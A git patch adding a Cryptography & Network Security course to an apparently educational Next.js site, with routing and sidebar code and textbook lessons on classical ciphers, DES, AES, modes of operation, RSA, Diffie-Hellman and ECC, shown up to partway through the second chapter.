From c9d1136b8ca0fa52359c509e61d852997156c485 Mon Sep 17 00:00:00 2001 From: Kartikeyji17 Date: Sun, 7 Jun 2026 07:23:09 +0530 Subject: [PATCH] feat: add Cryptography & Network Security (CNS) subject --- app/components/subjects.tsx | 4 +- app/sem5/cns/[chapter]/page.tsx | 207 ++++++++++++++++++++++++++++ app/sem5/cns/components/sidebar.tsx | 146 ++++++++++++++++++++ app/sem5/cns/constants.ts | 19 +++ app/sem5/cns/content/chapter0.tsx | 132 ++++++++++++++++++ app/sem5/cns/content/chapter1.tsx | 198 ++++++++++++++++++++++++++ app/sem5/cns/content/chapter2.tsx | 158 +++++++++++++++++++++ app/sem5/cns/content/chapter3.tsx | 183 ++++++++++++++++++++++++ app/sem5/cns/content/chapter4.tsx | 165 ++++++++++++++++++++++ app/sem5/cns/content/chapter5.tsx | 180 ++++++++++++++++++++++++ app/sem5/cns/content/chapter6.tsx | 163 ++++++++++++++++++++++ app/sem5/cns/layout.tsx | 28 ++++ lib/quizData.ts | 147 ++++++++++++++++++++ 13 files changed, 1729 insertions(+), 1 deletion(-) create mode 100644 app/sem5/cns/[chapter]/page.tsx create mode 100644 app/sem5/cns/components/sidebar.tsx create mode 100644 app/sem5/cns/constants.ts create mode 100644 app/sem5/cns/content/chapter0.tsx create mode 100644 app/sem5/cns/content/chapter1.tsx create mode 100644 app/sem5/cns/content/chapter2.tsx create mode 100644 app/sem5/cns/content/chapter3.tsx create mode 100644 app/sem5/cns/content/chapter4.tsx create mode 100644 app/sem5/cns/content/chapter5.tsx create mode 100644 app/sem5/cns/content/chapter6.tsx create mode 100644 app/sem5/cns/layout.tsx diff --git a/app/components/subjects.tsx b/app/components/subjects.tsx index 724b848..88158f8 100644 --- a/app/components/subjects.tsx +++ b/app/components/subjects.tsx @@ -44,6 +44,7 @@ const subjects = { "IoT (Internet of Things)", "Compiler Design", "Cyber Laws and Ethics", + "Cryptography & Network Security", ], "Semester-6": [ "Machine Learning", @@ -107,6 +108,7 @@ const subjectCodes: Record = { "IoT (Internet of Things)": "iot", "Compiler Design": "cd", "Cyber Laws and Ethics": "cle", + "Cryptography & Network Security": "cns", "Machine Learning": "ml", "Natural Language Processing": "nlp", "Deep Learning": "dl", @@ -125,7 +127,7 @@ const subjectCodes: Record = { }; // Available subjects -const available = ["ep", "c", "em1", "em2", "oops", "dsc", "coa", "os", "ml", "dops", "cd", "cle","ec"]; +const available = ["ep", "c", "em1", "em2", "oops", "dsc", "coa", "os", "ml", "dops", "cd", "cle", "ec", "cns"]; export default function SubjectsSection() { return ( diff --git a/app/sem5/cns/[chapter]/page.tsx b/app/sem5/cns/[chapter]/page.tsx new file mode 100644 index 0000000..365d2b2 --- /dev/null +++ b/app/sem5/cns/[chapter]/page.tsx @@ -0,0 +1,207 @@ +import React from "react"; +import Link from "next/link"; +import { Metadata } from "next"; +import { Righteous } from "next/font/google"; +import { Ch0Content } from "../content/chapter0"; +import { Ch1Content } from "../content/chapter1"; +import { Ch2Content } from "../content/chapter2"; +import { Ch3Content } from "../content/chapter3"; +import { Ch4Content } from "../content/chapter4"; +import { Ch5Content } from "../content/chapter5"; +import { Ch6Content } from "../content/chapter6"; +import { ArrowBigLeft, ArrowBigRight } from "lucide-react"; +import { chapters, SubTopic } from "../constants"; + +const righteous = Righteous({ + subsets: ["latin"], + weight: "400", + variable: "--font-righteous", +}); + +function findChapterOrSubtopic(chapterId: string) { + const chapter = chapters.find((c) => c.id === chapterId); + if (chapter) return { data: chapter, isSubTopic: false, parentChapter: null }; + + for (const ch of chapters) { + if (ch.subTopics) { + const sub = ch.subTopics.find( + (s) => s.id === chapterId && s.isPage + ) as (SubTopic & { isPage: true }) | undefined; + if (sub) return { data: sub, isSubTopic: true, parentChapter: ch }; + } + } + return { data: undefined, isSubTopic: false, parentChapter: null }; +} + +const chapterComponents: Record = { + ch0: Ch0Content, + ch1: Ch1Content, + ch2: Ch2Content, + ch3: Ch3Content, + ch4: Ch4Content, + ch5: Ch5Content, + ch6: Ch6Content, +}; + +type ChapterProps = { + params: Promise<{ chapter: string }>; +}; + +export async function generateMetadata({ + params, +}: ChapterProps): Promise { + const { chapter: chapterId } = await params; + const { data: chapterData } = findChapterOrSubtopic(chapterId); + + const title = chapterData + ? `${chapterData.title} | Cryptography & Network Security | openCSE` + : "Cryptography & Network Security | openCSE"; + + return { title }; +} + +export default async function ChapterPage({ params }: ChapterProps) { + const { chapter: chapterId } = await params; + const { data: chapterData, isSubTopic, parentChapter } = + findChapterOrSubtopic(chapterId); + + if (!chapterData) { + return ( +
+

Chapter not found

+ + Return to Course Outline + +
+ ); + } + + const ChapterComponent = chapterComponents[chapterData.id]; + let prevChapter = null; + let nextChapter = null; + + if (isSubTopic && parentChapter && parentChapter.subTopics) { + const pageSubTopics = parentChapter.subTopics.filter( + (s): s is SubTopic & { isPage: true } => !!s.isPage + ); + const subIndex = pageSubTopics.findIndex((s) => s.id === chapterId); + + if (subIndex > 0) { + prevChapter = pageSubTopics[subIndex - 1]; + } else { + prevChapter = { + id: parentChapter.id, + title: `Back to ${parentChapter.title}`, + }; + } + + if (subIndex < pageSubTopics.length - 1) { + nextChapter = pageSubTopics[subIndex + 1]; + } else { + const parentIndex = chapters.findIndex((c) => c.id === parentChapter.id); + if (parentIndex < chapters.length - 1) { + nextChapter = chapters[parentIndex + 1]; + } + } + } else { + const currentIndex = chapters.findIndex((c) => c.id === chapterId); + if (currentIndex > 0) { + const prevParent = chapters[currentIndex - 1]; + if (prevParent.subTopics && prevParent.subTopics.length > 0) { + const pageSubTopics = prevParent.subTopics.filter( + (s): s is SubTopic & { isPage: true } => !!s.isPage + ); + prevChapter = + pageSubTopics.length > 0 + ? pageSubTopics[pageSubTopics.length - 1] + : prevParent; + } else { + prevChapter = prevParent; + } + } + + const currentParent = chapters[currentIndex]; + if (currentParent.subTopics && currentParent.subTopics.length > 0) { + const pageSubTopics = currentParent.subTopics.filter( + (s): s is SubTopic & { isPage: true } => !!s.isPage + ); + nextChapter = pageSubTopics.length > 0 ? pageSubTopics[0] : null; + } else if (currentIndex < chapters.length - 1) { + nextChapter = chapters[currentIndex + 1]; + } + } + + return ( +
+
+

+ Cryptography & Network Security +

+ +

+ {isSubTopic && parentChapter + ? `${parentChapter.title} / ${chapterData.title}` + : chapterData.title} +

+ +
+ {prevChapter ? ( + + Previous + + ) : ( +
+ )} + + {nextChapter ? ( + + Next + + ) : ( +
+ )} +
+ +
+ {ChapterComponent ? :

Content loading...

} +
+ +
+ {prevChapter ? ( + + {prevChapter.title} + + ) : ( +
+ )} + + {nextChapter ? ( + + {nextChapter.title} + + ) : ( +
+ )} +
+
+ ); +} \ No newline at end of file diff --git a/app/sem5/cns/components/sidebar.tsx b/app/sem5/cns/components/sidebar.tsx new file mode 100644 index 0000000..f8f8af1 --- /dev/null +++ b/app/sem5/cns/components/sidebar.tsx @@ -0,0 +1,146 @@ +"use client"; +import React, { useState, useEffect } from "react"; +import { Righteous } from "next/font/google"; +import Link from "next/link"; +import { usePathname } from "next/navigation"; +import { chapters } from "../constants"; + +const righteous = Righteous({ + subsets: ["latin"], + weight: "400", + variable: "--font-righteous", +}); + +export default function Sidebar() { + const pathname = usePathname(); + const [open, setOpen] = useState(false); + + useEffect(() => { + if (typeof window !== "undefined" && window.innerWidth >= 768) { + setOpen(true); + } + }, []); + + const quizSlugMap: Record = { + cns: "cns", + }; + + const subjectKey = pathname.split("/")[2] ?? ""; + const quizSlug = quizSlugMap[subjectKey]; + const quizHref = quizSlug ? `/quiz/${quizSlug}` : "/quiz"; + const quizActive = pathname.startsWith("/quiz"); + + return ( + <> +
setOpen(false)} + /> + +
+ + + +
+ + ); +} \ No newline at end of file diff --git a/app/sem5/cns/constants.ts b/app/sem5/cns/constants.ts new file mode 100644 index 0000000..e44447d --- /dev/null +++ b/app/sem5/cns/constants.ts @@ -0,0 +1,19 @@ +export type SubTopic = + | { id: string; title: string; isPage: true } + | { id: string; title: string; isPage?: false }; + +export type Chapter = { + id: string; + title: string; + subTopics?: SubTopic[]; +}; + +export const chapters: Chapter[] = [ + { id: "ch0", title: "Course Outline" }, + { id: "ch1", title: "Symmetric Encryption (DES & AES)" }, + { id: "ch2", title: "Asymmetric Encryption (RSA)" }, + { id: "ch3", title: "Hash Functions & Digital Signatures" }, + { id: "ch4", title: "SSL/TLS & HTTPS Protocols" }, + { id: "ch5", title: "Firewalls & Intrusion Detection" }, + { id: "ch6", title: "Common Attacks & Defenses" }, +]; \ No newline at end of file diff --git a/app/sem5/cns/content/chapter0.tsx b/app/sem5/cns/content/chapter0.tsx new file mode 100644 index 0000000..1168d51 --- /dev/null +++ b/app/sem5/cns/content/chapter0.tsx @@ -0,0 +1,132 @@ +import React from "react"; + +export const Ch0Content = () => { + return ( +
+

+ Welcome to Cryptography & Network Security. This course teaches you how to protect digital information — from ancient letter-scrambling techniques to the exact protocols running inside your browser right now. +

+ +
+

What is Cryptography?

+

+ Cryptography is the science of hiding information so only the intended recipient can read it. The word comes from Greek: kryptos (hidden) + graphein (writing). It has three core goals: +

+
+
    +
  • Confidentiality: Only the intended recipient can read the message. Example: your WhatsApp messages are encrypted so even WhatsApp servers cannot read them.
  • +
  • Integrity: The message was not altered in transit. Example: when you download software, a hash ensures no byte was changed.
  • +
  • Authentication: Proving who you are. Example: digital signatures on emails prove they came from a specific person.
  • +
  • Non-repudiation: The sender cannot later deny sending a message. Example: digitally signed contracts are legally binding.
  • +
+
+
+ +
+

Basic Terminology

+
+
    +
  • Plaintext: The original readable message. Example: "Hello World".
  • +
  • Ciphertext: The scrambled unreadable output after encryption. Example: "Khoor Zruog" (Caesar cipher, shift 3).
  • +
  • Encryption: Converting plaintext → ciphertext using a key and algorithm.
  • +
  • Decryption: Converting ciphertext → plaintext using a key and algorithm.
  • +
  • Key: A secret value that controls the encryption/decryption. Without the key, you cannot read the message.
  • +
  • Algorithm (Cipher): The mathematical procedure used. Examples: AES, RSA, DES.
  • +
+
+
+ +
+

Types of Attacks on Cryptosystems

+

Attackers (called adversaries or cryptanalysts) try to break encryption in several ways:

+
+
    +
  • Ciphertext-only attack: Attacker only has the ciphertext and tries to find the plaintext or key. Hardest for the attacker.
  • +
  • Known-plaintext attack: Attacker has some plaintext-ciphertext pairs and tries to deduce the key.
  • +
  • Chosen-plaintext attack: Attacker can choose plaintexts and get their encryptions. Common in practice.
  • +
  • Chosen-ciphertext attack: Attacker can choose ciphertexts and get their decryptions. Used to attack RSA.
  • +
  • Brute Force: Try every possible key until one works. Always possible — the goal is to make it take billions of years.
  • +
+
+
+ +
+

Unit 1: Symmetric Encryption

+

+ Same key used for encryption and decryption. Fast. Used for bulk data. Problem: how do you securely share the key in the first place? +

+
+
    +
  • Classical Ciphers: Caesar, Vigenère, Playfair — historical, all broken.
  • +
  • Block vs Stream Ciphers: Block encrypts fixed chunks; stream encrypts bit by bit.
  • +
  • DES: 56-bit key, 64-bit block, 16-round Feistel. Broken by brute force since 1999.
  • +
  • Triple-DES: Applies DES 3 times. Effective 112-bit security. Being phased out.
  • +
  • AES: Current gold standard. 128-bit block, 128/192/256-bit keys, 10/12/14 rounds.
  • +
  • Modes of Operation: ECB, CBC, CFB, OFB, CTR — how to handle data longer than one block.
  • +
+
+
+ +
+

Unit 2: Asymmetric Encryption

+

+ Two mathematically linked keys: public key (shareable) and private key (secret). Solves the key distribution problem. Much slower than symmetric — used for small data and key exchange. +

+
+
    +
  • RSA: Based on difficulty of factoring large numbers. Used for encryption and signatures.
  • +
  • Diffie-Hellman: Lets two parties agree on a shared secret over a public channel. Based on discrete logarithm.
  • +
  • ECC: Same security as RSA with much smaller keys. Used in mobile and TLS.
  • +
+
+
+ +
+

Unit 3: Hash Functions & Digital Signatures

+

+ Hash functions produce a fixed-length fingerprint of any data. Digital signatures combine hashing with asymmetric encryption to prove identity and integrity. +

+
+
    +
  • Hash Properties: One-way, deterministic, collision-resistant.
  • +
  • Algorithms: MD5 (broken), SHA-1 (broken), SHA-256 (current standard), SHA-3.
  • +
  • HMAC: Hash + secret key = authentication.
  • +
  • Digital Signatures: Sign with private key, verify with public key.
  • +
  • PKI: Certificate Authorities issue X.509 certificates to prove identity.
  • +
+
+
+ +
+

Unit 4: Network Security Protocols

+

+ Real-world deployment of cryptography in protocols you use every day. +

+
+
    +
  • SSL/TLS: Secures web traffic. TLS 1.3 is the current standard.
  • +
  • HTTPS: HTTP over TLS. The padlock in your browser.
  • +
  • IPSec: Network-layer security. Used in VPNs.
  • +
  • Kerberos: Ticket-based authentication in enterprise networks (Windows AD).
  • +
+
+
+ +
+

Unit 5: Firewalls, IDS & Attacks

+

+ How networks are defended and what common attacks look like. +

+
+
    +
  • Firewalls: Packet filtering, stateful, application-layer, NGFW.
  • +
  • IDS/IPS: Detect and block intrusions. Signature vs anomaly based.
  • +
  • Network Attacks: DoS, DDoS, MITM, Replay, ARP Spoofing, DNS Poisoning.
  • +
  • Application Attacks: SQLi, XSS, CSRF.
  • +
  • Crypto Attacks: Brute force, dictionary, birthday, side-channel.
  • +
+
+
+
+ ); +}; \ No newline at end of file diff --git a/app/sem5/cns/content/chapter1.tsx b/app/sem5/cns/content/chapter1.tsx new file mode 100644 index 0000000..8dc54e9 --- /dev/null +++ b/app/sem5/cns/content/chapter1.tsx @@ -0,0 +1,198 @@ +import React from "react"; + +export const Ch1Content = () => { + return ( +
+

+ Symmetric encryption uses the same key for both encryption and decryption. It is fast, efficient, and ideal for encrypting large amounts of data — but both parties must securely share the key beforehand. +

+ +
+

Classical Ciphers

+

These are historical ciphers — all broken today, but important for understanding core concepts like substitution and transposition.

+
+

Caesar Cipher

+
    +
  • Shifts every letter of the alphabet by a fixed number called the key.
  • +
  • Example (shift 3): A→D, B→E, C→F ... Z→C. So "HELLO" becomes "KHOOR".
  • +
  • To decrypt: shift back by the same amount. "KHOOR" → shift back 3 → "HELLO".
  • +
  • Key space: Only 25 possible keys (shifts 1–25). An attacker can try all 25 in seconds — trivially broken by brute force.
  • +
  • Weakness: Also vulnerable to frequency analysis — 'E' is the most common letter in English, so the most frequent letter in ciphertext is likely 'E' shifted.
  • +
+
+ +
+

Vigenère Cipher

+
    +
  • Uses a keyword instead of a single shift. Each letter of the keyword gives a different shift for each letter of the plaintext.
  • +
  • Example: Plaintext = "HELLO", Key = "KEY" (K=10, E=4, Y=24, then repeats).
  • +
  • H(+10)=R, E(+4)=I, L(+24)=J, L(+10)=V, O(+4)=S → Ciphertext = "RIJVS".
  • +
  • Much harder than Caesar because the same letter can encrypt to different ciphertext letters depending on position.
  • +
  • Broken by: Kasiski test (find repeated sequences to deduce key length) + frequency analysis per key position.
  • +
+
+ +
+

Playfair Cipher

+
    +
  • Encrypts pairs of letters (digraphs) instead of single letters, using a 5×5 key matrix.
  • +
  • The matrix is built from a keyword (remove duplicates, fill remaining letters A–Z, combine I/J).
  • +
  • Rules: Same row → shift right. Same column → shift down. Otherwise → form a rectangle and swap corners.
  • +
  • Example: Keyword "MONARCHY" → matrix built → "HI" encrypts to "BM".
  • +
  • Stronger than Caesar/Vigenère because digraph frequency is harder to analyze (26²=676 possible pairs vs 26 letters).
  • +
  • Weakness: Still broken by digraph frequency analysis with enough ciphertext.
  • +
+
+
+ +
+

Block vs Stream Ciphers

+
+
    +
  • Block Cipher: Divides plaintext into fixed-size blocks (e.g. 64-bit or 128-bit) and encrypts each block as a unit. Examples: DES (64-bit blocks), AES (128-bit blocks). If the last block is smaller, it is padded.
  • +
  • Stream Cipher: Encrypts one bit or byte at a time using a keystream XORed with plaintext. Example: RC4. Very fast — used in real-time applications like video streaming. Weakness: keystream must never be reused.
  • +
  • Key difference: Block ciphers are more secure and widely used today. Stream ciphers are faster but trickier to implement correctly.
  • +
+
+
+ +
+

Confusion and Diffusion

+

Two principles defined by Claude Shannon (1949) that every strong cipher must achieve:

+
+
    +
  • Confusion: Make the relationship between key and ciphertext as complex as possible. Achieved by substitution (S-boxes). Goal: changing one key bit should change many ciphertext bits unpredictably.
  • +
  • Diffusion: Spread the influence of one plaintext bit across many ciphertext bits. Achieved by permutation (P-boxes). Goal: changing one plaintext bit should change ~half the ciphertext bits (avalanche effect).
  • +
  • Avalanche Effect: A 1-bit change in plaintext or key should flip ~50% of ciphertext bits. DES and AES both achieve this.
  • +
+
+
+ +
+

DES (Data Encryption Standard)

+

+ DES was adopted as the US federal standard in 1977. It uses a 56-bit key and 64-bit blocks with a Feistel network of 16 rounds. In 1999, a dedicated machine cracked DES in 22 hours — it is now considered broken. +

+
+

Feistel Network Structure

+
    +
  • The 64-bit block is split into two 32-bit halves: Left (L₀) and Right (R₀).
  • +
  • Each of the 16 rounds: L_i = R_(i-1) and R_i = L_(i-1) XOR F(R_(i-1), K_i)
  • +
  • The function F applies expansion (32→48 bits), XOR with subkey, S-box substitution, P-box permutation.
  • +
  • Key insight: Feistel structure is self-inverting — decryption uses the same circuit with subkeys in reverse order.
  • +
  • After 16 rounds, the two halves are swapped and recombined to give 64-bit ciphertext.
  • +
+
+ +
+

S-boxes (Substitution Boxes)

+
    +
  • DES has 8 S-boxes. Each takes a 6-bit input and produces a 4-bit output.
  • +
  • S-boxes are the only non-linear component in DES — they provide confusion.
  • +
  • How they work: The outer 2 bits of the 6-bit input select the row; the inner 4 bits select the column. The table value at that position is the output.
  • +
  • Example: Input 011011 → outer bits 01=row 1, inner 1101=col 13 → output from table = 5 (0101).
  • +
  • Without S-boxes, DES would be purely linear and breakable with linear algebra.
  • +
+
+ +
+

DES Key Schedule

+
    +
  • The 64-bit key has 8 parity bits → effective key size is 56 bits.
  • +
  • A Permuted Choice (PC-1) selects 56 bits, splits into two 28-bit halves C and D.
  • +
  • Each round: C and D are left-rotated by 1 or 2 positions (schedule varies per round).
  • +
  • PC-2 selects 48 bits from the 56-bit combined CD to form each round's subkey.
  • +
  • 16 subkeys of 48 bits each are generated — one per round.
  • +
+
+ +
+

Triple-DES (3DES / TDEA)

+
    +
  • Created to extend DES life without a new algorithm. Applies DES three times.
  • +
  • EDE Mode: C = E(K3, D(K2, E(K1, P))). Encrypt with K1, Decrypt with K2, Encrypt with K3.
  • +
  • Using K1 = K3 ≠ K2 gives 2-key 3DES with effective 112-bit security.
  • +
  • Using K1 ≠ K2 ≠ K3 gives 3-key 3DES with effective 168-bit security.
  • +
  • Why EDE? If K1=K2=K3, EDE reduces to single DES — backward compatible.
  • +
  • Problem: 3× slower than DES, 48× slower than AES. Being phased out — deprecated by NIST in 2023.
  • +
+
+
+ +
+

AES (Advanced Encryption Standard)

+

+ AES was selected in 2001 after a 5-year competition. The winner was the Rijndael algorithm by Joan Daemen and Vincent Rijmen. It uses a 128-bit block and key sizes of 128, 192, or 256 bits with 10, 12, or 14 rounds respectively. AES is not a Feistel network — it is a substitution-permutation network (SPN). +

+ +
+

AES State Matrix

+
    +
  • The 128-bit block is arranged as a 4×4 matrix of bytes called the state.
  • +
  • Each cell holds one byte (8 bits). Operations are performed on this matrix each round.
  • +
  • Before round 1, an initial AddRoundKey is applied. Then 9 full rounds + 1 final round (no MixColumns).
  • +
+
+ +
+

AES Round Operations (in order every round)

+
    +
  • 1. SubBytes: Every byte in the 4×4 state is replaced using a fixed S-box lookup table. The AES S-box is constructed algebraically using multiplicative inverse in GF(2⁸) + affine transform. This provides non-linearity (confusion). Example: byte 0x53 → 0xED after S-box.
  • +
  • 2. ShiftRows: Each row of the state matrix is cyclically shifted left. Row 0: no shift. Row 1: shift left 1. Row 2: shift left 2. Row 3: shift left 3. This moves bytes to different columns, preventing columns from being encrypted independently (diffusion).
  • +
  • 3. MixColumns: Each column of the state is treated as a polynomial over GF(2⁸) and multiplied by a fixed polynomial. Each byte depends on all 4 bytes of the column. This provides thorough diffusion — one changed byte affects the entire column. SKIPPED in the final round.
  • +
  • 4. AddRoundKey: Each byte of the state is XORed with the corresponding byte of the round key. Simple but secure because XOR with an unknown key is unbreakable. This is the only step that involves the key.
  • +
+
+ +
+

AES Key Schedule

+
    +
  • AES-128: 10 round keys derived from 1 original key. 11 keys total (including initial).
  • +
  • Key expansion uses SubWord (S-box on a word), RotWord (rotate 4 bytes), and XOR with round constants (Rcon).
  • +
  • Each round key is 128 bits = 4 words = 16 bytes.
  • +
+
+ +
+

Why AES is Secure

+
    +
  • Best known attack against AES-128 requires 2¹²⁶ operations — effectively impossible.
  • +
  • No practical attack exists. AES has been the global standard for 20+ years.
  • +
  • Hardware acceleration (AES-NI instructions on modern CPUs) makes it extremely fast.
  • +
+
+
+ +
+

Modes of Operation

+

Block ciphers encrypt fixed-size blocks. Real data is larger. Modes of operation define how to handle multiple blocks securely.

+ +
+
    +
  • ECB (Electronic Codebook): Each block encrypted independently with the same key. INSECURE — identical plaintext blocks produce identical ciphertext blocks. Famous example: ECB-encrypted penguin image still shows the penguin outline. Never use for real data.
  • +
  • CBC (Cipher Block Chaining): Each plaintext block is XORed with the previous ciphertext block before encryption. Requires a random Initialization Vector (IV) for the first block. Identical plaintexts produce different ciphertexts. Most common secure mode. Weakness: sequential — cannot be parallelized for encryption.
  • +
  • CFB (Cipher Feedback): Converts block cipher into a stream cipher. Previous ciphertext encrypted, then XORed with plaintext. Can encrypt data smaller than one block. Used for streaming data.
  • +
  • OFB (Output Feedback): Generates a keystream independently of plaintext/ciphertext, then XORs. Errors don't propagate. Used in noisy channels like satellite communication.
  • +
  • CTR (Counter Mode): Encrypts a counter value (nonce + counter) and XORs with plaintext. Fully parallelizable — different blocks can be encrypted simultaneously. Random access is possible. Used in modern protocols. No padding needed.
  • +
  • GCM (Galois/Counter Mode): CTR mode + authentication tag. Provides both encryption and integrity. Used in TLS 1.3, AES-GCM is the dominant mode today.
  • +
+
+
+ +
+

Key Points to Remember

+
+
    +
  • DES = 56-bit key, 64-bit block, 16 Feistel rounds. BROKEN.
  • +
  • 3DES = EDE mode, 112 or 168-bit effective key. Being phased out.
  • +
  • AES = 128-bit block, 128/192/256-bit key, 10/12/14 rounds. SPN structure.
  • +
  • AES round order: SubBytes → ShiftRows → MixColumns → AddRoundKey. Final round skips MixColumns.
  • +
  • Confusion = S-boxes. Diffusion = ShiftRows + MixColumns.
  • +
  • ECB is always insecure. Use CBC, CTR, or GCM.
  • +
  • CTR and GCM are parallelizable — preferred for modern systems.
  • +
+
+
+
+ ); +}; \ No newline at end of file diff --git a/app/sem5/cns/content/chapter2.tsx b/app/sem5/cns/content/chapter2.tsx new file mode 100644 index 0000000..d8d2998 --- /dev/null +++ b/app/sem5/cns/content/chapter2.tsx @@ -0,0 +1,158 @@ +import React from "react"; + +export const Ch2Content = () => { + return ( +
+

+ Asymmetric encryption uses a mathematically linked key pair — a public key anyone can know, and a private key only the owner knows. It solves the key distribution problem of symmetric cryptography: you never need to secretly share a key. +

+ +
+

The Key Distribution Problem

+

With symmetric encryption, Alice and Bob must share a secret key — but how? Meeting in person doesn't scale. Sending it over the internet is risky. Asymmetric encryption solves this elegantly.

+
+
    +
  • Bob publishes his public key openly (like a phone book listing).
  • +
  • Alice encrypts her message with Bob's public key.
  • +
  • Only Bob's private key can decrypt it — and only Bob has that.
  • +
  • Even if an attacker intercepts the ciphertext or knows the public key, they cannot decrypt without the private key.
  • +
  • Trapdoor function: Easy to compute in one direction, computationally infeasible to reverse without the secret (trapdoor). RSA uses integer factorization as the trapdoor.
  • +
+
+
+ +
+

RSA Algorithm

+

+ RSA (Rivest–Shamir–Adleman, 1977) is the most widely used public-key algorithm. Security relies on the fact that multiplying two large primes is easy, but factoring the product back is computationally infeasible. +

+
+

Key Generation — Step by Step

+
    +
  • Step 1: Choose two distinct large primes p and q. In practice, each is 1024–2048 bits. Example (small): p = 61, q = 53.
  • +
  • Step 2: Compute n = p × q. This is the modulus, used in both public and private keys. n = 61 × 53 = 3233.
  • +
  • Step 3: Compute Euler's totient φ(n) = (p−1)(q−1). φ(3233) = 60 × 52 = 3120. This stays secret.
  • +
  • Step 4: Choose e such that 1 < e < φ(n) and gcd(e, φ(n)) = 1. Commonly e = 65537 (a prime, efficient in binary). Example: e = 17, gcd(17, 3120) = 1 ✓
  • +
  • Step 5: Compute d = modular inverse of e mod φ(n). Find d such that d × e ≡ 1 (mod 3120). d = 2753 because 2753 × 17 = 46801 = 15 × 3120 + 1 ✓
  • +
  • Public key: (e=17, n=3233) — share this openly.
  • +
  • Private key: (d=2753, n=3233) — keep this secret. Destroy p, q, φ(n).
  • +
+
+ +
+

Encryption & Decryption

+
    +
  • Encrypt: C = Mᵉ mod n. (M must be less than n)
  • +
  • Decrypt: M = Cᵈ mod n.
  • +
  • Full Example: M = 65 (message as a number).
  • +
  • Encrypt: C = 65¹⁷ mod 3233 = 2790.
  • +
  • Decrypt: M = 2790²⁷⁵³ mod 3233 = 65 ✓
  • +
  • For signatures (reverse): Sign with private key: S = Mᵈ mod n. Verify with public key: M = Sᵉ mod n.
  • +
+
+ +
+

Why RSA Works — The Math

+
    +
  • By Euler's theorem: M^φ(n) ≡ 1 (mod n) for any M coprime to n.
  • +
  • Since d × e ≡ 1 (mod φ(n)), we have d × e = k × φ(n) + 1 for some integer k.
  • +
  • So (Mᵉ)ᵈ = M^(ed) = M^(kφ(n)+1) = (M^φ(n))^k × M ≡ 1^k × M ≡ M (mod n).
  • +
  • Security: Breaking RSA requires finding d from (e, n), which requires knowing φ(n), which requires factoring n into p and q. No efficient factoring algorithm is known for large n.
  • +
+
+ +
+

RSA Attacks & Vulnerabilities

+
    +
  • Small key attack: Keys below 1024 bits can be factored with modern hardware. Use 2048+ bits minimum, 4096 for long-term security.
  • +
  • Textbook RSA (no padding): Raw RSA is deterministic — same message always gives same ciphertext. Vulnerable to chosen-plaintext attacks. Always use OAEP (Optimal Asymmetric Encryption Padding) for encryption.
  • +
  • Small exponent attack: Using very small e (like e=3) with no padding leaks information. e=65537 is standard.
  • +
  • Common modulus attack: If two users share the same n but different e, an attacker can recover plaintext. Never reuse n.
  • +
  • Timing attack: Measuring decryption time reveals information about d. Use constant-time implementations.
  • +
  • Quantum threat: Shor's algorithm on a quantum computer can factor n in polynomial time, breaking RSA. Post-quantum cryptography (lattice-based) is the future solution.
  • +
+
+
+ +
+

Diffie-Hellman Key Exchange (DH)

+

+ DH (Whitfield Diffie & Martin Hellman, 1976) lets two parties establish a shared secret over a completely public channel without ever transmitting the secret itself. It does not encrypt data — it establishes a shared key that can then be used for symmetric encryption. +

+
+

DH Protocol — Step by Step

+
    +
  • Setup (public): Agree on a large prime p and a generator g (primitive root mod p). These are public — everyone knows them. Example: p=23, g=5.
  • +
  • Alice's private key: Chooses random secret a=6. Computes A = gᵃ mod p = 5⁶ mod 23 = 8. Sends A=8 to Bob.
  • +
  • Bob's private key: Chooses random secret b=15. Computes B = gᵇ mod p = 5¹⁵ mod 23 = 19. Sends B=19 to Alice.
  • +
  • Alice computes shared secret: s = Bᵃ mod p = 19⁶ mod 23 = 2.
  • +
  • Bob computes shared secret: s = Aᵇ mod p = 8¹⁵ mod 23 = 2. Same result!
  • +
  • An eavesdropper sees p=23, g=5, A=8, B=19 — but cannot compute s=2 without solving the discrete logarithm (find a from gᵃ mod p), which is computationally infeasible for large p.
  • +
+
+ +
+

DH Vulnerabilities

+
    +
  • No authentication: DH alone cannot verify who you're talking to. A Man-in-the-Middle can intercept and establish separate DH sessions with Alice and Bob. Solution: use certificates/digital signatures to authenticate the exchange (done in TLS).
  • +
  • Static DH: If the same private keys are reused, past sessions can be decrypted if private key is later compromised. Solution: use Ephemeral DH (DHE) with fresh keys per session → Forward Secrecy.
  • +
  • Logjam attack: Weak parameters (small p, certain "export-grade" groups) allow downgrade attacks. Use 2048-bit groups or Elliptic Curve DH (ECDH).
  • +
+
+
+ +
+

Elliptic Curve Cryptography (ECC)

+

+ ECC provides the same security as RSA but with much smaller key sizes, making it ideal for mobile devices, embedded systems, and modern TLS. +

+
+

How ECC Works

+
    +
  • An elliptic curve is defined by y² = x³ + ax + b over a finite field.
  • +
  • Points on the curve form a group under a special addition rule: draw a line through two points, it hits the curve at a third point — reflect it over x-axis → that's the "sum".
  • +
  • ECDLP: Given points P and Q = k×P (k additions of P with itself), find k. This discrete log on elliptic curves is even harder than on integers — no sub-exponential algorithm is known.
  • +
  • ECDH: Diffie-Hellman using elliptic curve point multiplication instead of modular exponentiation. Alice sends A = a×G, Bob sends B = b×G, shared secret = a×B = b×A = ab×G.
  • +
+
+ +
+

ECC vs RSA Key Sizes

+
    +
  • 80-bit security: RSA 1024-bit vs ECC 160-bit.
  • +
  • 128-bit security: RSA 3072-bit vs ECC 256-bit.
  • +
  • 256-bit security: RSA 15360-bit vs ECC 512-bit.
  • +
  • Smaller keys = faster computation, less bandwidth, less storage. Critical for IoT, mobile, TLS.
  • +
  • Common curves: P-256 (NIST), Curve25519 (modern, used in Signal/WhatsApp).
  • +
+
+
+ +
+

Symmetric vs Asymmetric — When to Use Which

+
+
    +
  • Asymmetric encryption is ~1000× slower than symmetric. Never used for bulk data.
  • +
  • Hybrid encryption (used in TLS): Use asymmetric to securely exchange a symmetric key, then use symmetric for all data. Best of both worlds.
  • +
  • Example: TLS handshake uses RSA/ECDH to establish session keys, then AES-GCM for all data.
  • +
+
+
+ +
+

Key Points to Remember

+
+
    +
  • RSA security = hardness of integer factorization. Use 2048+ bit keys.
  • +
  • RSA: public key encrypts, private key decrypts. For signatures: private signs, public verifies.
  • +
  • Always use OAEP padding for RSA encryption, PSS padding for RSA signatures.
  • +
  • DH = shared secret exchange, not encryption. Vulnerable to MITM without authentication.
  • +
  • DHE = ephemeral DH = forward secrecy. Old sessions safe even if key is later compromised.
  • +
  • ECC = same security, smaller keys, faster. 256-bit ECC ≈ 3072-bit RSA.
  • +
  • Real systems use hybrid encryption: asymmetric for key exchange + symmetric for data.
